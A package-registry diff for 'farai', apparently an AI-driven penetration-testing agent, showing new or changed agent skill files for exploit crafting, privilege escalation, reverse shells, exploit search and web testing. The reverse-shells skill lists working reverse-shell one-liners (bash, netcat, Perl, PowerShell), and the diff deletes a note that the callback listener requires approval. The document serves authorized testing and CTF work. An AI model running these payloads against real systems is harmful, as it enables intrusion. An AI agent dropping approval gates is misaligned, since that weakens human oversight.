farai 0.1.2 → 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli/index.js +20434 -14443
- package/dist/cli/index.js.map +90 -63
- package/docker/kali/farai-tool-manifest.json +6 -0
- package/docker/kali/farai_mitmproxy_mcp.py +253 -22
- package/package.json +2 -1
- package/src/agent-skills/library/binary-exploitation/SKILL.md +26 -0
- package/src/agent-skills/library/binary-reversing/SKILL.md +24 -0
- package/src/agent-skills/library/crypto-solving/SKILL.md +24 -0
- package/src/agent-skills/library/ctf-solving/SKILL.md +27 -0
- package/src/agent-skills/library/digital-forensics/SKILL.md +24 -0
- package/src/agent-skills/library/ffuf/SKILL.md +4 -4
- package/src/agent-skills/library/nmap/SKILL.md +5 -5
- package/src/agent-skills/library/packet-analysis/SKILL.md +24 -0
- package/src/agent-skills/library/payload-protocol-crafting/SKILL.md +6 -6
- package/src/agent-skills/library/privilege-escalation/SKILL.md +24 -0
- package/src/agent-skills/library/reverse-shells/SKILL.md +8 -9
- package/src/agent-skills/library/searchsploit/SKILL.md +3 -3
- package/src/agent-skills/library/source-security-review/SKILL.md +25 -0
- package/src/agent-skills/library/web-assessment/SKILL.md +28 -0
|
@@ -3,24 +3,24 @@ name: payload-protocol-crafting
|
|
|
3
3
|
description: Bottom-up methodology for crafting exploits against custom, legacy, or undocumented network protocols (read the spec, build a minimal reproducer, add the injection point last). Use this whenever the target speaks something other than plain HTTP -- a custom TCP protocol, a legacy service like LPD, or any case involving raw sockets, handshakes, or command injection into a non-HTTP protocol.
|
|
4
4
|
---
|
|
5
5
|
|
|
6
|
-
#
|
|
6
|
+
# custom protocol payloads
|
|
7
7
|
|
|
8
8
|
When a target service speaks something other than plain HTTP (a legacy or custom TCP protocol,
|
|
9
9
|
e.g. LPD, a proprietary binary protocol, etc.), trial-and-error against the full exploit is slow
|
|
10
10
|
and confusing. Work bottom-up instead:
|
|
11
11
|
|
|
12
|
-
1. **
|
|
12
|
+
1. **read the spec first.** look up the RFC or protocol documentation (`web_search`, `web_fetch`, or `http_request`)
|
|
13
13
|
before writing any code — legacy protocols usually have a short, precise spec (e.g. RFC 1179
|
|
14
14
|
for LPD) that tells you the exact byte sequence/framing expected, far faster than guessing.
|
|
15
|
-
2. **
|
|
15
|
+
2. **build the smallest possible reproducer.** write a minimal script that performs just the
|
|
16
16
|
protocol handshake/framing and confirms the target responds as expected — no injected payload
|
|
17
17
|
yet. Validate this piece works byte-for-byte before adding anything else.
|
|
18
|
-
3. **
|
|
18
|
+
3. **add the injection point once framing is confirmed.** only after step 2 works reliably,
|
|
19
19
|
insert the actual command-injection/shell payload into the appropriate protocol field.
|
|
20
|
-
4. **
|
|
20
|
+
4. **iterate on the smallest unit that failed**, not the whole exploit. if step 3 doesn't work,
|
|
21
21
|
go back to isolating exactly which part is wrong (framing vs. payload vs. escaping) rather than
|
|
22
22
|
rewriting the entire script and re-running end-to-end each time — that's what turns a
|
|
23
23
|
straightforward exploit into many confused iterations.
|
|
24
|
-
5. **
|
|
24
|
+
5. **prefer `shell_exec` for the throwaway reproducer scripts** (fast iteration, inspect raw
|
|
25
25
|
output immediately) and only wrap the validated logic into a saved script via
|
|
26
26
|
`code_write_script` once it's confirmed working.
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: privilege-escalation
|
|
3
|
+
description: Targeted local privilege-escalation and post-exploitation workflow for Linux, Windows, containers, and directory-backed hosts. Use after an authorized foothold when the objective requires a higher-privileged identity, secrets, lateral context, or proof of administrative/root access.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# privilege escalation
|
|
7
|
+
|
|
8
|
+
prioritize paths supported by the current host context instead of dumping every enumeration check.
|
|
9
|
+
|
|
10
|
+
1. establish the current identity, groups, privileges, host/container boundary, operating system, architecture, domain context, writable locations, and available execution channel.
|
|
11
|
+
2. enumerate high-signal surfaces: delegated privileges, service/task configuration, credentials and tokens, writable execution paths, capabilities, mounts, sockets, containers, kernel/version constraints, and application secrets.
|
|
12
|
+
3. rank candidates by evidence, prerequisites, reliability, and reversibility. inspect the exact configuration or file before trying an exploit.
|
|
13
|
+
4. prove the next privilege boundary with the smallest controlled action. verify the resulting identity and execution context rather than assuming success from command output alone.
|
|
14
|
+
5. preserve useful credentials, paths, and failed hypotheses so later attempts do not repeat the same checks.
|
|
15
|
+
|
|
16
|
+
## recovery
|
|
17
|
+
|
|
18
|
+
- automated enumerator noise: return to the underlying permission, owner, service, token, or version and verify it manually.
|
|
19
|
+
- exploit mismatch: confirm kernel/build, architecture, mitigations, namespace, and required primitives before changing payloads.
|
|
20
|
+
- apparent root inside a container: determine whether the objective concerns container root or the host boundary and prove the actual context.
|
|
21
|
+
|
|
22
|
+
## completion
|
|
23
|
+
|
|
24
|
+
show the requested privileged effect and current identity. a suspicious permission, public exploit match, or writable file is a candidate path, not completed escalation.
|
|
@@ -3,14 +3,14 @@ name: reverse-shells
|
|
|
3
3
|
description: Payload variants and delivery gotchas for reverse/bind shells (bash, netcat, python, PHP, perl, PowerShell), TTY upgrade after landing a shell, and how to avoid false-positive auto-backgrounding when writing exploit scripts via heredoc. Use this whenever the user asks to get a shell on a target, mentions callback_listen, reverse shell, revshell, bind shell, netcat, or payload delivery -- even if they don't say the word "skill."
|
|
4
4
|
---
|
|
5
5
|
|
|
6
|
-
#
|
|
6
|
+
# reverse shells
|
|
7
7
|
|
|
8
|
-
##
|
|
8
|
+
## getting lhost/lport right
|
|
9
9
|
Always call `callback_host_info` first to get the real host-reachable LHOST (VPN/tun interface),
|
|
10
10
|
then `callback_listen(port=...)`. Never infer LHOST by guessing from inside the Kali container —
|
|
11
11
|
the container has its own network namespace and cannot see the host's VPN interfaces.
|
|
12
12
|
|
|
13
|
-
##
|
|
13
|
+
## payload variants
|
|
14
14
|
- Bash (most common, no extra binary needed): `bash -i >& /dev/tcp/LHOST/LPORT 0>&1`
|
|
15
15
|
- Bash without `/dev/tcp` (restricted shells): `0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196`
|
|
16
16
|
- Netcat with `-e` (if target nc supports it): `nc -e /bin/sh LHOST LPORT`
|
|
@@ -20,14 +20,14 @@ the container has its own network namespace and cannot see the host's VPN interf
|
|
|
20
20
|
- Perl: `perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
|
|
21
21
|
- PowerShell (Windows targets): `powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`
|
|
22
22
|
|
|
23
|
-
##
|
|
23
|
+
## delivering payloads without false background detection
|
|
24
24
|
If you write a script to disk via a heredoc (`cat << 'EOF' > file.py`) and the payload text
|
|
25
25
|
inside the heredoc body contains phrases like `bash -i` or `/dev/tcp/`, that is literal text
|
|
26
26
|
being written to a file — it is NOT itself launching an interactive session, so it should not
|
|
27
27
|
be treated as one. Only the actual invocation line that *executes* the file afterward
|
|
28
28
|
(e.g. `python3 file.py`) is the real interactive/background command.
|
|
29
29
|
|
|
30
|
-
##
|
|
30
|
+
## tty upgrade after landing a shell
|
|
31
31
|
A raw netcat/bash reverse shell has no real TTY — no job control, no tab completion, ctrl-C kills
|
|
32
32
|
the whole shell. Upgrade with:
|
|
33
33
|
```
|
|
@@ -39,17 +39,16 @@ export TERM=xterm
|
|
|
39
39
|
stty rows <rows> columns <columns>
|
|
40
40
|
```
|
|
41
41
|
|
|
42
|
-
##
|
|
42
|
+
## reading session_poll output correctly
|
|
43
43
|
Sessions of kind `reverse_shell`/`shell` carry a hint line prepended to `output` indicating
|
|
44
44
|
whether a shell prompt was detected (ready for the next command) or not. If no prompt is
|
|
45
45
|
detected yet, wait and poll again rather than sending another command blind — commands sent
|
|
46
46
|
before the target shell is ready can get silently interleaved with the previous command's
|
|
47
47
|
output and produce confusing, doubled results.
|
|
48
48
|
|
|
49
|
-
##
|
|
49
|
+
## callback listener versus interactive process
|
|
50
50
|
- `callback_listen` is for catching an *inbound* connection from the target (classic reverse shell)
|
|
51
|
-
|
|
52
|
-
requires approval.
|
|
51
|
+
on the host network.
|
|
53
52
|
- `shell_exec` with an interactive command (auto-backgrounded, kind `shell`) is for driving an
|
|
54
53
|
*outbound* interactive process yourself inside the container (e.g. `ssh`, `mysql`, `python3` REPL) —
|
|
55
54
|
no listener involved, runs fully inside the sandbox.
|
|
@@ -3,16 +3,16 @@ name: searchsploit
|
|
|
3
3
|
description: How to search for and validate public exploits with the exploit_search tool (searchsploit-backed) before running them against a target. Use this whenever the user asks to find a known/public exploit, mentions a CVE, exploit-db, or a specific vulnerable service version.
|
|
4
4
|
---
|
|
5
5
|
|
|
6
|
-
#
|
|
6
|
+
# exploit search
|
|
7
7
|
|
|
8
8
|
- Search by exact product + version string first (e.g. `"vsftpd 2.3.4"`), then broaden if no hit
|
|
9
9
|
(drop the version, then drop to just the product name).
|
|
10
10
|
- A search hit is a *candidate*, not a confirmed working exploit — always read the exploit source
|
|
11
|
-
|
|
11
|
+
with `shell_exec` inside Kali (for example `searchsploit -x <id>` or the reported container path) before running it,
|
|
12
12
|
to understand exactly what it does and whether it matches the target's actual configuration.
|
|
13
13
|
- Prefer the smallest, most targeted PoC over a fully-weaponized Metasploit module when you just
|
|
14
14
|
need to confirm a vulnerability exists — easier to reason about and adapt if it doesn't work
|
|
15
15
|
out of the box.
|
|
16
|
-
- If no local exploit-db entry matches, fall back to `
|
|
16
|
+
- If no local exploit-db entry matches, fall back to `web_search`/`web_fetch` for the CVE/product
|
|
17
17
|
name — public writeups often show the exact working payload for CTF-style intentionally
|
|
18
18
|
vulnerable services (which are frequently older/unpatched versions on purpose).
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: source-security-review
|
|
3
|
+
description: Evidence-driven security review of application source, infrastructure code, scripts, and patches. Use when asked to audit a repository, find exploitable vulnerabilities, review security behavior, or validate a fix; do not use for general style review without a security objective.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# source security review
|
|
7
|
+
|
|
8
|
+
trace attacker-controlled data and trust decisions through real code paths.
|
|
9
|
+
|
|
10
|
+
1. identify entry points, deployment/runtime assumptions, authentication and authorization boundaries, sensitive assets, parsers, interpreters, storage, network egress, and privileged operations.
|
|
11
|
+
2. map external input to security-sensitive sinks while accounting for validation, normalization, encoding, framework behavior, and configuration between them.
|
|
12
|
+
3. inspect callers and downstream consumers before declaring a local pattern vulnerable. determine whether the path is reachable with the attacker's actual identity and control.
|
|
13
|
+
4. rank findings by demonstrated impact and realistic prerequisites. use focused tests or a minimal reproducer when execution is available.
|
|
14
|
+
5. for a proposed fix, test the vulnerable path, intended behavior, alternate encodings or routes, and regression boundary; do not accept a guard that protects only one caller.
|
|
15
|
+
|
|
16
|
+
## evidence standard
|
|
17
|
+
|
|
18
|
+
- separate confirmed findings from hardening ideas and unverified concerns.
|
|
19
|
+
- cite the exact function, configuration, or data flow that creates the issue.
|
|
20
|
+
- do not report dependency names, dangerous APIs, missing headers, or scanner matches as vulnerabilities without reachable impact in this project.
|
|
21
|
+
- describe remediation at the correct boundary: fix the invariant or trust decision, not only the sample payload.
|
|
22
|
+
|
|
23
|
+
## completion
|
|
24
|
+
|
|
25
|
+
return findings ordered by severity with concise reproduction, impact, and remediation. if no confirmed issue is found, say so and identify the remaining untested surfaces.
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: web-assessment
|
|
3
|
+
description: Adaptive workflow for testing web applications and APIs with browser contexts, the managed proxy, HTTP requests, and Kali tools. Use for web CTFs, authenticated application testing, API assessment, session/authorization flaws, injection, upload, SSRF, or client/server behavior; do not use for passive subdomain discovery alone.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# web assessment
|
|
7
|
+
|
|
8
|
+
build a faithful model of application behavior, then test focused hypotheses.
|
|
9
|
+
|
|
10
|
+
1. use the browser for rendered state, navigation, forms, JavaScript behavior, and distinct identities. create named browser contexts when roles or sessions must remain isolated.
|
|
11
|
+
2. use proxy flows and the sitemap to recover exact requests, parameters, cookies, redirects, and background API traffic. use `http_request` or proxy replay when precise, repeatable request control is more useful than UI interaction.
|
|
12
|
+
3. map trust boundaries: unauthenticated versus authenticated, user versus user, client-controlled versus server-derived, and edge/CDN behavior versus application behavior.
|
|
13
|
+
4. change one meaningful variable at a time. compare status, headers, body semantics, timing, and durable state rather than relying on one anomalous response.
|
|
14
|
+
5. validate a candidate issue with the smallest reproducible proof that demonstrates the claimed effect. save the decisive request/response or browser evidence before claiming impact.
|
|
15
|
+
|
|
16
|
+
## decision rules
|
|
17
|
+
|
|
18
|
+
- treat automated findings and technology fingerprints as leads.
|
|
19
|
+
- do not duplicate every browser request with raw HTTP; switch interfaces when it improves control or observation.
|
|
20
|
+
- for authorization testing, compare equivalent operations across isolated identities and confirm server-side data or action differences.
|
|
21
|
+
- for injection, first prove control of the relevant parser or sink, then establish impact.
|
|
22
|
+
- never turn Cloudflare, WAF, cache, or generic edge behavior into an origin vulnerability without origin-specific evidence.
|
|
23
|
+
|
|
24
|
+
## recovery
|
|
25
|
+
|
|
26
|
+
- unstable or blocked automation: inspect proxy/network evidence, retry only after changing context, timing, or request shape.
|
|
27
|
+
- unclear endpoint behavior: return to the exact browser-generated request and minimize it.
|
|
28
|
+
- noisy enumeration: establish the not-found baseline and filter by meaningful response differences before widening the wordlist.
|